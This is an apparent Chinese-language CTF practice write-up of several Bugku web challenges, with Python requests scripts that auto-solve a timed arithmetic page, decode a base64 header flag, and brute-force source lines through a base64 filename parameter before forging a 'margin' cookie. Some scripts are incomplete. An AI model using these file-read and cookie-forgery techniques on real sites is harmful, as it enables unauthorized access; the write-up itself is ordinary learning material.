（还有坑没填好）
最近在刷bugku 感觉对新手还是挺友好的，同时也能学到不少东西，每日更新几题准备记录的吧（这次基本是脚本题）
秋名山老司机
亲请在2s内计算老司机的车速是多少（最基本的脚本题？？？）
这题很多平台上都有，脚本必练：request库，re库
一开始不知道哪里传值，但是post一个数据后就会有提示的，发现要post一个value参数
import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
data1=re.findall(r'</p>\n<div>[\s\+\*-\?;]+</div>',r.text)
data2=''.join(data1) #把data1的list转为string类型
num=eval(data2.lstrip('</p>\n<div>').rstrip('=?;</div>'))
# print(str(num)) 测试一下
r=s.post(url,data={'value':num})#post一个value进去
r.encoding='utf-8'
print(r.text)
我这个(正则)写的挺糟糕的，不过够用= =
# 网上师傅写的，学习（正则啊！！）
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
"value": eval(searchObj.group(0))
}
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)
跑出flag
sess = requests.Session( )
requests库的session会话对象可以跨请求保持某些参数，说白了，就是比如你使用session成功的登录了某个网站，则在再次使用该session对象请求该网站的其他网页都会默认使用该session之前使用的cookie等参数
速度要快
我的好像不够快？？？怎么跑不出来啊555先留个坑
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.Session()
r = requests.get(url)
flag = r.headers['flag'] # headers是个字典
flag = base64.b64decode(flag)
flag = flag.decode('utf-8')[-8:]
#print(flag)
flag = base64.b64decode(flag).decode('utf-8')
#print(flag)
r = s.post(url, data={'margin': flag})
print(r.text)
# 网上瞟的
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin": key}
print(s.post(url,data=payload).text)
cookies欺骗
一串可疑base64，解码：keys.txt
然后访问了一下文件：rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
好像没啥用的
（其实是发现filename=keys.txt时会显示内容，所以我们传入新的filename=index.php，base64加密后为aW5kZXgucGhw，再尝试line=1，2…）脚本把所有内容都爆破出来。。。（这个脑洞我没想到，不过我发现这个还挺常见的脑洞）
import requests
for id in range(1,100):
url = 'http://123.206.87.240:8002/web11/index.php?line=' + str(id) + '&filename=aW5kZXgucGhw'
r=requests.get(url)
print(r.text)
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
传入cookie：margin=margin，查看源码即可